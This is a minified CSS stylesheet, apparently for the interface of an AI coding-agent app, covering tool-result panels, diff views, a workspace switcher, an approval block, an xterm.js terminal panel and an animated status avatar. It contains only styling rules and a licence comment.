.step-line[data-v-203da854]{display:none}.step-content[data-v-203da854]{flex:1;min-width:0;padding-top:2px}.step-header[data-v-203da854]{font-size:12px;font-weight:600;color:var(--text-tertiary);text-transform:uppercase;letter-spacing:.5px;margin-bottom:8px}.step-body[data-v-203da854]{font-size:14px;color:var(--text-secondary);line-height:1.7}.thinking-content[data-v-203da854]{color:var(--text-secondary);font-size:14px;line-height:1.7;white-space:pre-wrap;word-wrap:break-word;max-height:10.2em;overflow-y:auto;margin:-.35em 0 0;padding:0;display:block;scrollbar-width:thin;scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) transparent}.thinking-content[data-v-203da854]::-webkit-scrollbar{width:10px;height:10px}.thinking-content[data-v-203da854]::-webkit-scrollbar-track{background:transparent;border-radius:999px;margin:8px}.thinking-content[data-v-203da854]::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-secondary) 55%,transparent);border-radius:999px;border:2px solid transparent;background-clip:padding-box}.step-header[data-v-203da854]{font-size:12px;font-weight:600;color:var(--text-tertiary);text-transform:uppercase;letter-spacing:.5px;margin:0 0 8px;padding:0;line-height:1}.tool-intent[data-v-203da854]{font-weight:500;color:var(--text-primary);margin-bottom:12px;font-size:14px;line-height:1.7;margin-top:-.35em}.tool-result[data-v-203da854]{background:var(--surface-panel);border:1px solid var(--border-default);border-radius:8px;padding:12px;font-size:13px;max-height:200px;overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.tool-result[data-v-203da854]::-webkit-scrollbar{display:none}.tool-result[data-v-203da854] *{scrollbar-width:none;-ms-overflow-style:none}.tool-result[data-v-203da854] *::-webkit-scrollbar{display:none}.tool-result pre[data-v-203da854]{margin:0;white-space:pre-wrap;word-wrap:break-word;font-family:SF Mono,Monaco,Consolas,monospace;font-size:12px;color:var(--text-secondary)}.result-item[data-v-203da854]{padding:8px 0;border-bottom:1px solid var(--border-default)}.result-item[data-v-203da854]:last-child{border-bottom:none}.text-output[data-v-203da854]{margin:16px 0;padding:0}@media (max-width: 768px){.text-output[data-v-203da854]{margin:16px 0}}.text-content[data-v-203da854]{font-size:15px;line-height:1.7;color:var(--text-primary);word-wrap:break-word}.edit-summary-card{margin-top:10px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-raised);overflow:hidden}.edit-summary-card__header{display:flex;align-items:center;gap:8px;height:38px;padding:0 12px;border-bottom:1px solid var(--border-default)}.edit-summary-card__icon{color:var(--text-secondary);flex:none}.edit-summary-card__title{flex:1;min-width:0;font-size:13px;font-weight:500;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.edit-summary-card__totals{display:flex;align-items:center;gap:6px;flex:none;font-size:12px;font-variant-numeric:tabular-nums}.edit-summary-plus{color:var(--state-success)}.edit-summary-minus{color:var(--state-danger)}.edit-summary-card__list{max-height:160px;overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.edit-summary-card__list::-webkit-scrollbar{display:none}.edit-summary-card__row{display:flex;align-items:center;gap:8px;height:32px;padding:0 12px;cursor:pointer;font-size:12.5px}.edit-summary-card__row:hover,.edit-summary-card__row.is-active{background:var(--hover-bg)}.edit-summary-card__path{flex:1;min-width:0;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.edit-summary-card__delta{display:flex;align-items:center;gap:6px;flex:none;font-size:12px;font-variant-numeric:tabular-nums}.es-modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1200;pointer-events:none}.es-modal__overlay{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:auto}.es-modal__panel{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:min(720px,calc(100vw - 32px));max-height:min(70vh,640px);display:flex;flex-direction:column;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:12px;box-shadow:var(--shadow-strong);overflow:hidden;pointer-events:auto}.es-modal__header{display:flex;align-items:center;gap:8px;height:44px;padding:0 12px;flex:none;border-bottom:1px solid var(--border-default)}.es-modal__header-icon{color:var(--text-secondary);flex:none}.es-modal__path{flex:1;min-width:0;font-size:13px;font-weight:500;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.es-modal__delta{display:flex;align-items:center;gap:6px;flex:none;font-size:12px;font-variant-numeric:tabular-nums}.es-modal__close{display:flex;align-items:center;justify-content:center;width:28px;height:28px;flex:none;border:none;border-radius:6px;background:transparent;color:var(--text-secondary);cursor:pointer;padding:0}.es-modal__close:hover{background:var(--surface-muted);color:var(--text-primary)}.es-modal__body{flex:1;min-height:0;overflow:auto;padding:8px 0;font-size:12.5px;line-height:1.6}.es-diff-line{display:flex;align-items:flex-start;min-height:20px;padding-right:12px}.es-diff-line-number{width:44px;flex:none;padding-right:8px;text-align:right;color:var(--text-secondary);font-variant-numeric:tabular-nums;-webkit-user-select:none;user-select:none}.es-diff-marker{width:16px;flex:none;text-align:center;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.es-diff-content{flex:1;min-width:0;white-space:pre-wrap;word-break:break-all;color:var(--text-primary)}.es-diff-add{background:var(--diff-add-bg)}.es-diff-add .es-diff-marker{color:var(--state-success)}.es-diff-remove{background:var(--diff-del-bg)}.es-diff-remove .es-diff-marker{color:var(--state-danger)}.es-diff-sep{padding:2px 0 2px 60px;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.es-diff-empty,.es-diff-note{padding:12px;font-size:12.5px;color:var(--text-secondary)}@media (max-width: 768px){.es-modal__panel{width:calc(100vw - 24px);max-height:76vh}.es-diff-line-number{width:34px}.es-diff-sep{padding-left:50px}}.file-chip-row[data-v-ffb20906]{display:contents}.file-chip[data-v-ffb20906]{position:relative;flex:none;box-sizing:border-box;width:196px;height:60px;display:flex;align-items:center;gap:10px;padding:0 12px 0 10px;background:var(--surface-base);border:1px solid var(--border-default);border-radius:6px}body[data-theme=dark] .file-chip[data-v-ffb20906]{background:color-mix(in srgb,var(--chip-bg) 88%,white);border-color:var(--border-strong)}.file-chip.is-clickable[data-v-ffb20906]{cursor:pointer}.file-chip.is-clickable[data-v-ffb20906]:hover,.file-chip.is-previewing[data-v-ffb20906]{border-color:var(--border-strong)}.file-chip-icon[data-v-ffb20906]{flex:none;width:40px;height:40px;border-radius:4px;display:flex;align-items:center;justify-content:center;color:var(--on-accent)}.file-chip-icon svg[data-v-ffb20906]{display:block}.file-chip-meta[data-v-ffb20906]{min-width:0;display:flex;flex-direction:column;gap:2px;line-height:1.25}.file-chip-name[data-v-ffb20906]{font-size:13px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.file-chip-type[data-v-ffb20906]{font-size:11px;color:var(--text-secondary)}.file-chip-remove[data-v-ffb20906]{position:absolute;top:-7px;right:-7px;width:18px;height:18px;border-radius:50%;background:var(--surface-base);border:1px solid var(--border-default);color:var(--text-secondary);display:none;align-items:center;justify-content:center;cursor:pointer;padding:0;transition:color .15s ease}body[data-theme=dark] .file-chip-remove[data-v-ffb20906]{background:color-mix(in srgb,var(--chip-bg) 88%,white);border-color:var(--border-strong)}.file-chip:hover .file-chip-remove[data-v-ffb20906]{display:flex}.file-chip-remove[data-v-ffb20906]:hover{color:var(--state-danger)}.ws-switcher[data-v-4dbd1c49]{--ws-row-h: 50px;position:fixed;z-index:1500;width:300px;display:flex;flex-direction:column;border:1px solid var(--border-default);border-radius:12px;background:var(--surface-raised);box-shadow:var(--theme-shadow-soft);overflow:hidden}.ws-switcher--project[data-v-4dbd1c49]{--ws-row-h: 38px}.ws-switcher-enter-active[data-v-4dbd1c49],.ws-switcher-leave-active[data-v-4dbd1c49]{transition:opacity .12s ease,transform .15s cubic-bezier(.22,1,.36,1)}.ws-switcher-enter-from[data-v-4dbd1c49],.ws-switcher-leave-to[data-v-4dbd1c49]{opacity:0;transform:translateY(-4px) scale(.98)}.ws-switcher__header[data-v-4dbd1c49]{flex:none;display:flex;align-items:center;justify-content:space-between;height:42px;padding:0 14px;border-bottom:1px solid var(--border-default)}.ws-switcher__title[data-v-4dbd1c49]{font-size:12.5px;font-weight:600;color:var(--text-secondary)}.ws-switcher__count[data-v-4dbd1c49]{font-size:11px;color:var(--text-tertiary)}.ws-switcher__list[data-v-4dbd1c49]{flex:none;max-height:calc(var(--ws-row-h) * 7 + 18px);overflow-y:auto;padding:6px;display:flex;flex-direction:column;gap:1px;scrollbar-width:thin;scrollbar-color:var(--border-strong) transparent}.ws-switcher__list[data-v-4dbd1c49]::-webkit-scrollbar{width:8px}.ws-switcher__list[data-v-4dbd1c49]::-webkit-scrollbar-thumb{background:var(--border-strong);border-radius:4px;border:2px solid var(--surface-raised)}.ws-switcher__list[data-v-4dbd1c49]::-webkit-scrollbar-track{background:transparent}.ws-row[data-v-4dbd1c49]{position:relative;flex:none;display:flex;align-items:center;gap:10px;width:100%;height:var(--ws-row-h);padding:0 8px;border-radius:8px;text-align:left;cursor:pointer}.ws-row[data-v-4dbd1c49]:hover{background:color-mix(in srgb,var(--text-primary) 4%,transparent)}.ws-row.current[data-v-4dbd1c49]{background:color-mix(in srgb,var(--text-primary) 6%,transparent)}.ws-row.current[data-v-4dbd1c49]:hover{background:color-mix(in srgb,var(--text-primary) 7%,transparent)}.ws-row-icon[data-v-4dbd1c49]{flex:none;width:17px;height:17px;color:var(--text-tertiary)}.ws-row-icon svg[data-v-4dbd1c49]{width:100%;height:100%;display:block}.ws-row.current .ws-row-icon[data-v-4dbd1c49]{color:var(--text-secondary)}.ws-row-text[data-v-4dbd1c49]{flex:1;min-width:0;display:flex;flex-direction:column;gap:1px}.ws-row-name[data-v-4dbd1c49]{font-size:13px;font-weight:500;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ws-row-path[data-v-4dbd1c49]{font-size:11.5px;color:var(--text-tertiary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ws-row-meta[data-v-4dbd1c49]{flex:none;display:flex;align-items:center;gap:8px}.ws-tag[data-v-4dbd1c49]{font-size:11px;color:var(--text-tertiary);white-space:nowrap}.ws-more[data-v-4dbd1c49]{flex:none;width:24px;height:24px;display:none;align-items:center;justify-content:center;border:0;border-radius:6px;background:transparent;color:var(--text-tertiary);cursor:pointer}.ws-more svg[data-v-4dbd1c49]{width:15px;height:15px;display:block}.ws-more[data-v-4dbd1c49]:hover{color:var(--text-primary);background:color-mix(in srgb,var(--text-primary) 7%,transparent)}.ws-row:hover .ws-more[data-v-4dbd1c49],.ws-row.menu-open .ws-more[data-v-4dbd1c49]{display:flex}.ws-empty[data-v-4dbd1c49]{padding:18px 8px;font-size:12px;color:var(--text-tertiary);text-align:center}.ws-rename-input[data-v-4dbd1c49]{font:inherit;font-size:13px;font-weight:500;color:var(--text-primary);background:transparent;border:0;border-bottom:1px solid var(--accent);outline:none;padding:1px 0;width:100%}.ws-confirm[data-v-4dbd1c49]{display:flex;flex-direction:column;gap:5px;width:100%;padding:2px 0}.ws-confirm-text[data-v-4dbd1c49]{font-size:12px;color:var(--text-secondary);line-height:1.4}.ws-confirm-actions[data-v-4dbd1c49]{display:flex;justify-content:flex-end;gap:8px}.ws-btn[data-v-4dbd1c49]{height:26px;padding:0 10px;border:1px solid var(--border-strong);border-radius:6px;background:transparent;font-size:12px;color:var(--text-secondary);cursor:pointer;white-space:nowrap}.ws-btn[data-v-4dbd1c49]:hover:not(:disabled){background:color-mix(in srgb,var(--text-primary) 5%,transparent)}.ws-btn[data-v-4dbd1c49]:disabled{opacity:.5;cursor:not-allowed}.ws-btn.primary[data-v-4dbd1c49]{background:var(--accent);border-color:var(--accent);color:var(--on-accent)}.ws-btn.primary[data-v-4dbd1c49]:hover:not(:disabled){background:var(--accent-hover)}.ws-btn.danger[data-v-4dbd1c49]{background:var(--state-danger);border-color:var(--state-danger);color:var(--on-accent)}.ws-btn.danger[data-v-4dbd1c49]:hover:not(:disabled){background:var(--state-danger-strong)}.ws-btn.ghost[data-v-4dbd1c49]{border-color:var(--border-default)}.ws-bottom[data-v-4dbd1c49]{flex:none;border-top:1px solid var(--border-default);overflow:hidden;transition:height .2s cubic-bezier(.22,1,.36,1)}.ws-footer[data-v-4dbd1c49]{padding:6px;transition:opacity .13s ease}.ws-footer.fading[data-v-4dbd1c49]{opacity:0}.ws-create-btn[data-v-4dbd1c49]{display:flex;align-items:center;gap:8px;width:100%;height:34px;padding:0 8px;border:0;border-radius:8px;background:transparent;font-size:12.5px;color:var(--text-secondary);cursor:pointer}.ws-create-btn[data-v-4dbd1c49]:hover:not(:disabled){background:color-mix(in srgb,var(--text-primary) 4%,transparent);color:var(--text-primary)}.ws-create-btn[data-v-4dbd1c49]:disabled{opacity:.5;cursor:not-allowed}.ws-create-icon[data-v-4dbd1c49]{flex:none;width:15px;height:15px;color:var(--text-tertiary)}.ws-create-icon svg[data-v-4dbd1c49]{width:100%;height:100%;display:block}.ws-create-btn:hover:not(:disabled) .ws-create-icon[data-v-4dbd1c49]{color:var(--text-secondary)}.ws-create-form[data-v-4dbd1c49]{display:flex;flex-direction:column;gap:8px;padding:10px;transition:opacity .15s ease}.ws-create-form.fading[data-v-4dbd1c49]{opacity:0}.ws-create-form input[data-v-4dbd1c49]{height:32px;padding:0 10px;border:1px solid var(--border-default);border-radius:8px;background:var(--surface-soft);color:var(--text-primary);font:inherit;font-size:12.5px;outline:none}.ws-create-form input[data-v-4dbd1c49]:focus{border-color:var(--accent)}.ws-create-form input[data-v-4dbd1c49]::placeholder{color:var(--text-muted)}.ws-create-error[data-v-4dbd1c49]{font-size:12px;color:var(--state-danger)}.ws-create-actions[data-v-4dbd1c49]{display:flex;justify-content:flex-end;gap:8px}.ws-menu-floating[data-v-4dbd1c49]{position:fixed;z-index:1600;min-width:136px;padding:4px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-raised);box-shadow:var(--theme-shadow-soft);display:flex;flex-direction:column}.ws-menu-enter-active[data-v-4dbd1c49],.ws-menu-leave-active[data-v-4dbd1c49]{transition:opacity .11s ease,transform .14s cubic-bezier(.22,1,.36,1)}.ws-menu-enter-from[data-v-4dbd1c49],.ws-menu-leave-to[data-v-4dbd1c49]{opacity:0;transform:translateY(-3px) scale(.98)}.ws-menu-floating button[data-v-4dbd1c49]{display:flex;align-items:center;width:100%;height:30px;padding:0 10px;border:0;border-radius:6px;background:transparent;font-size:12.5px;color:var(--text-secondary);text-align:left;white-space:nowrap;cursor:pointer}.ws-menu-floating button[data-v-4dbd1c49]:hover:not(:disabled){background:color-mix(in srgb,var(--text-primary) 5%,transparent);color:var(--text-primary)}.ws-menu-floating button.danger[data-v-4dbd1c49]{color:var(--state-danger)}.ws-menu-floating button.danger[data-v-4dbd1c49]:hover:not(:disabled){background:color-mix(in srgb,var(--state-danger) 8%,transparent)}.ws-menu-floating button[data-v-4dbd1c49]:disabled{color:var(--text-muted);cursor:default}.ws-menu-sep[data-v-4dbd1c49]{height:1px;margin:4px 6px;background:var(--border-default)}.auto-approval-block[data-v-c836c8ac]{margin-top:12px;padding:10px;border:1px solid var(--theme-control-border);border-radius:8px;background:var(--theme-surface-muted)}.auto-approval-block__title[data-v-c836c8ac]{font-size:13px;font-weight:600;margin-bottom:8px;color:var(--text-primary)}.auto-approval-block__content[data-v-c836c8ac]{margin:0;font-size:13px;line-height:1.5;white-space:pre-wrap;word-break:break-word;color:var(--text-secondary)}.auto-approval-block__final[data-v-c836c8ac]{margin-top:8px;font-size:13px;line-height:1.5}.auto-approval-block__decision[data-v-c836c8ac]{font-weight:700;margin-bottom:4px;color:var(--text-primary)}.auto-approval-block__decision--approved[data-v-c836c8ac]{color:var(--state-success)}.auto-approval-block__decision--rejected[data-v-c836c8ac]{color:var(--state-danger)}.auto-approval-block__reason[data-v-c836c8ac]{white-space:pre-wrap;word-break:break-word;color:var(--text-secondary)}.tool-approval-panel.is-goal-approval-mode .auto-approval-block[data-v-c836c8ac]{background:var(--theme-surface-card);border-color:var(--theme-control-border);color:var(--text-primary)}.tool-approval-panel.is-goal-approval-mode .auto-approval-block__content[data-v-c836c8ac],.tool-approval-panel.is-goal-approval-mode .auto-approval-block__reason[data-v-c836c8ac]{color:var(--text-secondary)}.tool-approval-panel.is-goal-approval-mode .auto-approval-block__decision[data-v-c836c8ac]{color:var(--text-primary)}:root[data-theme=dark],body[data-theme=dark]{background:color-mix(in srgb,var(--theme-surface-muted) 86%,white 4%);border-color:var(--theme-control-border-strong);color:var(--text-primary)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-secondary)}/** + * Copyright (c) 2014 The xterm.js authors. All rights reserved. + * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License) + * https://github.com/chjj/term.js + * @license MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * Originally forked from (with the author's permission): + * Fabrice Bellard's javascript vt100 for jslinux: + * http://bellard.org/jslinux/ + * Copyright (c) 2011 Fabrice Bellard + * The original design remains. The terminal itself + * has been extended to include xterm CSI codes, among + * other features. + */.xterm{cursor:text;position:relative;user-select:none;-ms-user-select:none;-webkit-user-select:none}.xterm.focus,.xterm:focus{outline:none}.xterm .xterm-helpers{position:absolute;top:0;z-index:5}.xterm .xterm-helper-textarea{padding:0;border:0;margin:0;position:absolute;opacity:0;left:-9999em;top:0;width:0;height:0;z-index:-5;white-space:nowrap;overflow:hidden;resize:none}.xterm .composition-view{background:#000;color:#fff;display:none;position:absolute;white-space:nowrap;z-index:1}.xterm .composition-view.active{display:block}.xterm .xterm-viewport{background-color:#000;overflow-y:scroll;cursor:default;position:absolute;right:0;left:0;top:0;bottom:0}.xterm .xterm-screen{position:relative}.xterm .xterm-screen canvas{position:absolute;left:0;top:0}.xterm .xterm-scroll-area{visibility:hidden}.xterm-char-measure-element{display:inline-block;visibility:hidden;position:absolute;top:0;left:-9999em;line-height:normal}.xterm.enable-mouse-events{cursor:default}.xterm.xterm-cursor-pointer,.xterm .xterm-cursor-pointer{cursor:pointer}.xterm.column-select.focus{cursor:crosshair}.xterm .xterm-accessibility,.xterm .xterm-message{position:absolute;left:0;top:0;bottom:0;right:0;z-index:10;color:transparent;pointer-events:none}.xterm .live-region{position:absolute;left:-9999px;width:1px;height:1px;overflow:hidden}.xterm-dim{opacity:1!important}.xterm-underline-1{text-decoration:underline}.xterm-underline-2{text-decoration:double underline}.xterm-underline-3{text-decoration:wavy underline}.xterm-underline-4{text-decoration:dotted underline}.xterm-underline-5{text-decoration:dashed underline}.xterm-overline{text-decoration:overline}.xterm-overline.xterm-underline-1{text-decoration:overline underline}.xterm-overline.xterm-underline-2{text-decoration:overline double underline}.xterm-overline.xterm-underline-3{text-decoration:overline wavy underline}.xterm-overline.xterm-underline-4{text-decoration:overline dotted underline}.xterm-overline.xterm-underline-5{text-decoration:overline dashed underline}.xterm-strikethrough{text-decoration:line-through}.xterm-screen .xterm-decoration-container .xterm-decoration{z-index:6;position:absolute}.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer{z-index:7}.xterm-decoration-overview-ruler{z-index:8;position:absolute;top:0;right:0;pointer-events:none}.xterm-decoration-top{z-index:2;position:relative}.terminal-panel[data-v-3e954344]{display:flex;flex-direction:column;background:var(--surface-rail);border-left:1px solid var(--border-default);color:var(--text-primary);height:100%;overflow:hidden}.terminal-panel__header[data-v-3e954344]{display:flex;align-items:center;justify-content:space-between;height:38px;padding:0 8px;border-bottom:1px solid var(--border-default);background:var(--surface-rail);flex-shrink:0}.terminal-panel__tabs[data-v-3e954344]{display:flex;gap:6px;overflow-x:auto;flex:1;min-width:0;scrollbar-width:none}.terminal-panel__tabs[data-v-3e954344]::-webkit-scrollbar{display:none}.terminal-panel__empty-tab[data-v-3e954344]{display:flex;align-items:center;font-size:13px;font-weight:600;color:var(--text-primary)}.terminal-panel__tab[data-v-3e954344]{display:flex;align-items:center;height:28px;padding:0 12px;background:transparent;border:none;border-radius:6px;color:var(--text-secondary);font-size:12px;font-family:inherit;cursor:pointer;white-space:nowrap;transition:background .12s,color .12s;flex-shrink:0}.terminal-panel__tab[data-v-3e954344]:hover,.terminal-panel__tab.active[data-v-3e954344]{background:var(--theme-tab-active);color:var(--text-primary)}[data-theme=dark] .terminal-panel__tab[data-v-3e954344]:hover,[data-theme=dark] .terminal-panel__tab.active[data-v-3e954344]{background:var(--hover-bg)}.terminal-panel__tab-name[data-v-3e954344]{max-width:120px;overflow:hidden;text-overflow:ellipsis}.terminal-panel__close[data-v-3e954344]{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border:none;border-radius:14px;background:transparent;color:var(--text-secondary);font-size:18px;line-height:1;cursor:pointer;flex-shrink:0;margin-left:4px}.terminal-panel__close[data-v-3e954344]:hover{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.terminal-panel__body[data-v-3e954344]{flex:1;overflow:hidden;min-height:0}.terminal-panel__idle[data-v-3e954344]{display:flex;flex-direction:column;align-items:center;justify-content:center;height:100%;gap:8px;color:var(--text-muted);font-size:13px}.terminal-panel__idle-svg[data-v-3e954344]{width:36px;height:36px;color:var(--text-tertiary);opacity:.55}.terminal-panel__body[data-v-3e954344] .xterm{width:100%!important;height:100%!important;padding:8px}.terminal-panel__body[data-v-3e954344] .xterm-screen{width:100%!important;height:100%!important}.terminal-panel__body[data-v-3e954344] .xterm-viewport{scrollbar-width:none}.terminal-panel__body[data-v-3e954344] .xterm-viewport::-webkit-scrollbar{display:none}.quick-menu-list[data-v-1e329b70]{display:flex;flex-direction:column;gap:6px;max-height:194px;overflow-y:auto;scrollbar-width:thin;scrollbar-color:color-mix(in srgb,var(--text-primary) 22%,transparent) transparent}.quick-menu-list[data-v-1e329b70]::-webkit-scrollbar{width:4px}.quick-menu-list[data-v-1e329b70]::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-primary) 22%,transparent);border-radius:2px}.quick-menu-list[data-v-1e329b70]::-webkit-scrollbar-track{background:transparent}.submenu-desc[data-v-1e329b70]{display:block;font-size:12px;color:var(--text-secondary);margin-top:2px}.menu-entry.goal-entry-active[data-v-1e329b70]{color:var(--accent)}.menu-entry.goal-entry-active .entry-arrow[data-v-1e329b70]{color:var(--accent);font-size:12px}.menu-entry.mode-entry-active[data-v-1e329b70]{color:var(--accent)}.menu-entry.mode-entry-active .entry-arrow[data-v-1e329b70]{color:var(--accent);font-size:12px}.file-at-menu-wrapper[data-v-a6111ba8]{--file-at-row-height: 28px;--file-at-gap: 3px;--file-at-radius: 9px;--file-at-pad-x: 4px;--file-at-pad-y: 4px;position:fixed;z-index:1000;min-width:240px;max-width:min(840px,calc(100vw - 24px));max-height:calc(((var(--file-at-row-height) * 7) + (var(--file-at-gap) * 8) + (var(--file-at-pad-y) * 2)) * 1.5);border:1px solid var(--border-default);border-radius:var(--file-at-radius);background:var(--surface-soft);box-shadow:0 8px 24px var(--shadow-color);pointer-events:auto;overflow:hidden}.file-at-menu[data-v-a6111ba8]{height:100%;max-height:inherit;overflow-y:auto;scrollbar-width:none;padding:var(--file-at-pad-y) var(--file-at-pad-x) 6px;display:flex;flex-direction:column;gap:var(--file-at-gap)}.file-at-menu[data-v-a6111ba8]::-webkit-scrollbar{width:0;height:0}.file-at-item[data-v-a6111ba8]{width:100%;height:var(--file-at-row-height);min-height:var(--file-at-row-height);flex:0 0 var(--file-at-row-height);display:flex;align-items:center;gap:10px;border:none;border-radius:7px;padding:3px 9px;background:transparent;color:var(--text-primary);text-align:left;cursor:pointer}.file-at-item[data-v-a6111ba8]:first-child{border-top-left-radius:calc(var(--file-at-radius) - var(--file-at-gap));border-top-right-radius:calc(var(--file-at-radius) - var(--file-at-gap))}.file-at-item[data-v-a6111ba8]:hover,.file-at-item--active[data-v-a6111ba8]{background:var(--hover-bg);box-shadow:0 1px 2px var(--shadow-color)}.file-at-item__name[data-v-a6111ba8]{flex:0 1 auto;min-width:0;color:var(--text-primary);font-size:12px;font-weight:500;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.file-at-item__description[data-v-a6111ba8]{flex:1 1 auto;min-width:0;color:var(--text-secondary);font-size:12px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.file-at-empty[data-v-a6111ba8]{height:var(--file-at-row-height);min-height:var(--file-at-row-height);flex:0 0 var(--file-at-row-height);display:flex;align-items:center;padding:3px 9px;color:var(--text-secondary);font-size:11px}body[data-theme=dark] .file-at-menu-wrapper[data-v-a6111ba8]{background:var(--badge-bg);border-color:var(--border-default)}.file-at-menu-motion-enter-active[data-v-a6111ba8],.file-at-menu-motion-leave-active[data-v-a6111ba8]{transition:opacity .16s ease,transform .16s ease;transform-origin:bottom left}.file-at-menu-motion-enter-from[data-v-a6111ba8],.file-at-menu-motion-leave-to[data-v-a6111ba8]{opacity:0;transform:translateY(6px) scale(.98)}.rolling-number[data-v-492eb155]{display:inline-flex;vertical-align:baseline}.rolling-number__track[data-v-492eb155]{position:relative;display:inline-flex;align-items:stretch}.rolling-number__digit[data-v-492eb155]{--rn-h: 1.2em;display:inline-block;height:var(--rn-h);line-height:var(--rn-h);overflow:hidden}.rolling-number__strip[data-v-492eb155]{display:flex;flex-direction:column;transform:translateY(calc(var(--rn-offset, 0) * var(--rn-h) * -1));will-change:transform}.rolling-number__strip.is-animating[data-v-492eb155]{transition:transform .36s cubic-bezier(.22,.61,.36,1)}.rolling-number__cell[data-v-492eb155]{height:var(--rn-h);line-height:var(--rn-h);text-align:center;font-variant-numeric:inherit}.rn-place-enter-active[data-v-492eb155],.rn-place-leave-active[data-v-492eb155]{transition:opacity .22s ease,transform .22s ease}.rn-place-enter-from[data-v-492eb155]{opacity:0;transform:translateY(45%)}.rn-place-leave-to[data-v-492eb155]{opacity:0;transform:translateY(-45%)}.rn-place-leave-active[data-v-492eb155]{position:absolute}.rn-place-move[data-v-492eb155]{transition:transform .22s ease}@media (prefers-reduced-motion: reduce){.rolling-number__strip.is-animating[data-v-492eb155],.rn-place-enter-active[data-v-492eb155],.rn-place-leave-active[data-v-492eb155],.rn-place-move[data-v-492eb155]{transition:none}}.status-avatar[data-v-05190602]{display:block;cursor:pointer;overflow:visible;color:currentColor;flex-shrink:0}.sa-bg[data-v-05190602]{fill:var(--chat-surface-color);stroke:none}.sa-frame[data-v-05190602]{fill:none;stroke:currentColor;stroke-width:10;stroke-linecap:round;stroke-linejoin:round;transform-origin:100px 100px}.status-avatar--idle .sa-frame[data-v-05190602]{stroke-width:12}.sa-face[data-v-05190602]{transform-origin:100px 100px;transition:transform .08s linear}.sa-fc[data-v-05190602]{transform-origin:100px 100px;pointer-events:none}.sa-shared[data-v-05190602]{opacity:1;transition:opacity .35s cubic-bezier(.22,1,.36,1)}.sa-shared.hidden[data-v-05190602]{opacity:0}.status-avatar--work .sa-shared[data-v-05190602]{animation:sa-bob-05190602 2.4s ease-in-out infinite}.sa-icon[data-v-05190602]{opacity:0;transform:scale(.92);transition:opacity .35s cubic-bezier(.22,1,.36,1),transform .35s cubic-bezier(.22,1,.36,1)}.sa-icon.active[data-v-05190602]{opacity:1;transform:scale(1)}[data-v-05190602] .sa-inner{fill:none;stroke:currentColor;stroke-width:2.4;stroke-linecap:round;stroke-linejoin:round}.sa-eye[data-v-05190602]{fill:none;stroke:currentColor;stroke-width:8;stroke-linecap:round;stroke-linejoin:round;transition:transform .55s cubic-bezier(.22,1,.36,1)}.status-avatar--idle .sa-eye[data-v-05190602]{stroke-width:10}.sa-think-dot[data-v-05190602]{fill:currentColor;animation:sa-think-wave-05190602 1.6s ease-in-out infinite}.sa-think-dot[data-v-05190602]:nth-child(1){animation-delay:-.48s}.sa-think-dot[data-v-05190602]:nth-child(2){animation-delay:-.32s}.sa-think-dot[data-v-05190602]:nth-child(3){animation-delay:-.16s}@keyframes sa-think-wave-05190602{0%,to{transform:translateY(0)}50%{transform:translateY(-12px)}}[data-v-05190602] .sa-wiggle{animation:sa-wiggle-05190602 1.8s ease-in-out infinite;transform-origin:100px 100px}@keyframes sa-wiggle-05190602{0%,to{transform:translate(-4px) rotate(-6deg)}50%{transform:translate(4px) rotate(6deg)}}[data-v-05190602] .sa-bob{animation:sa-bob-05190602 2.4s ease-in-out infinite;transform-origin:100px 100px}@keyframes sa-bob-05190602{0%,to{transform:translateY(0)}50%{transform:translateY(-9px)}}[data-v-05190602] .sa-z{animation:sa-z-wiggle-05190602 1.8s ease-in-out infinite}[data-v-05190602] .sa-z.z1{transform-origin:70px 117px;animation-delay:-.9s}[data-v-05190602] .sa-z.z2{transform-origin:100px 100px;animation-delay:-.45s}[data-v-05190602] .sa-z.z3{transform-origin:130px 83px;animation-delay:0s}[data-v-05190602] .sa-z text{fill:currentColor}@keyframes sa-z-wiggle-05190602{0%,to{transform:rotate(-9deg)}50%{transform:rotate(9deg)}}.sa-sub-scene[data-v-05190602]{transform-origin:100px 